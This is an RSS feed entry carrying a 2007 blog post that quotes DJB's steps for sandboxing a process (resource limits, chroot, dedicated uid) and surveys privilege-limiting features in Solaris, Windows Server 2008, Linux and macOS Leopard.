      <content:encoded><![CDATA[I was reading DJB's <a href="http://cr.yp.to/qmail/qmailsec-20071101.pdf">retrospective </a>on 10 years of qmail security and while I'll comment on a few of his thoughts in a separate post, one thing that struck me was his discussion of how to create a relatively effective process sandbox for a process:<br /><blockquote><br /><ul><li>Prohibit new files, new sockets, etc., by setting the current and maximum RLIMIT_NOFILE limits to 0.</li><li>Prohibit filesystem access: chdir and chroot to an empty directory.</li><li>Choose a uid dedicated to this process ID. This can be as simple as adding the process ID to a base uid, as long as other system-administration tools stay away from the same uid range.</li><li>Ensure that nothing is running under the uid: fork a child to run setuid(targetuid), kill(-1,SIGKILL), and _exit(0), and then check that the child exited normally.</li><li>Prohibit kill(), ptrace(), etc., by setting gid and uid to the target uid.</li><li>Prohibit fork(), by setting the current and maximum RLIMIT_NPROC limits to 0.</li><li>Set the desired limits on memory allocation and other resource allocation.</li><li>Run the rest of the program.</li></ul><br /></blockquote>If doing all of the above steps seems like a bit much, then perhaps what you're sensing is that the architectural model that makes it hard for a process to drop privs, restrict what it can do, etc. is simply wrong in most operating systems.<br /><br />What strikes me about the above example is that it ought to be a lot easier for a developer/administrator to define the policy for a given process and its run environment, without having to know this much arcana about exactly how to do it.<br /><br />Luckily, there are a few OS-supplied solutions to the problem that while not perfect and still tricky to implement, are at least a step in the right direction.<br /><br /><span style="font-weight: bold;">Solaris</span><br /><ul><li>Sun has a couple of nice blueprints on how to limit the privileges for a process/service.  I think it still isn't quite to the default-deny and allow only what you want stage, but interesting nonetheless.</li><ul><li><a style="" href="http://www.sun.com/blueprints/0505/819-2680.pdf"> <b>Limiting Service Privileges in the Solaris 10 Operating System</b></a> </li><li><a style="outline-color: invert; outline-style: dotted; outline-width: 1px; outline-offset: 0pt;" href="http://www.sun.com/blueprints/0206/819-5507.pdf"> <b>Privilege Debugging in the Solaris 10 Operating System</b></a> </li></ul></ul><span style="font-weight: bold;">Windows Server 2008</span><br /><ul><li>Microsoft has introduced service hardening and reduced privileges in Server-2008.<br /></li><ul><li><a href="http://technet2.microsoft.com/windowsserver2008/en/library/e7e522ac-b32f-42e1-b914-53ccc78d18161033.mspx?mfr=true">Security Configuration Wizard</a><br /></li></ul><li>Based on what I can tell their new wizard and SCM in general are structured more around least privilege than some of the other operating systems. At least from an ease-of-use standpoint.<br /></li></ul><span style="font-weight: bold;">Linux</span><br /><ul><li>On Linux we have several options.<br /></li><ul><li>SELinux</li><li>AppArmor</li></ul><li>I haven't looked extensively at either of them yet but I'll try to look into whether their policy model is better/worse than the options above.</li></ul><span style="font-weight: bold;">MacOS</span><br /><ul><li>Leopard introduces a new process sandboxing mechanism.  Unfortunately the details are a bit sketchy.  The Matasano guys have a <a href="http://www.matasano.com/log/981/a-roundup-of-leopard-security-features/">writeup </a>of it, but I haven't seen any details on the exact mechanisms and/or configuration.<br /></li></ul><img src="http://feeds.feedburner.com/~r/SecurityRetentive/~4/182320370" height="1" width="1"/>]]></content:encoded>
      <pubDate>Fri, 09 Nov 2007 07:00:00 +0000</pubDate>
      <category domain="http://securityratty.com/tag/process">process</category>
      <category domain="http://securityratty.com/tag/uid">uid</category>
      <category domain="http://securityratty.com/tag/effective process sandbox">effective process sandbox</category>
      <category domain="http://securityratty.com/tag/kill">kill</category>
      <category domain="http://securityratty.com/tag/prohibit kill">prohibit kill</category>
      <category domain="http://securityratty.com/tag/uid range">uid range</category>
      <category domain="http://securityratty.com/tag/prohibit">prohibit</category>
      <category domain="http://securityratty.com/tag/privileges">privileges</category>
      <category domain="http://securityratty.com/tag/target uid">target uid</category>
      <source url="http://feeds.feedburner.com/~r/SecurityRetentive/~3/182320370/limiting-process-privileges-should-be.html">Limiting Process Privileges Should Be Easier</source>
    </item>
  </channel>
</rss>
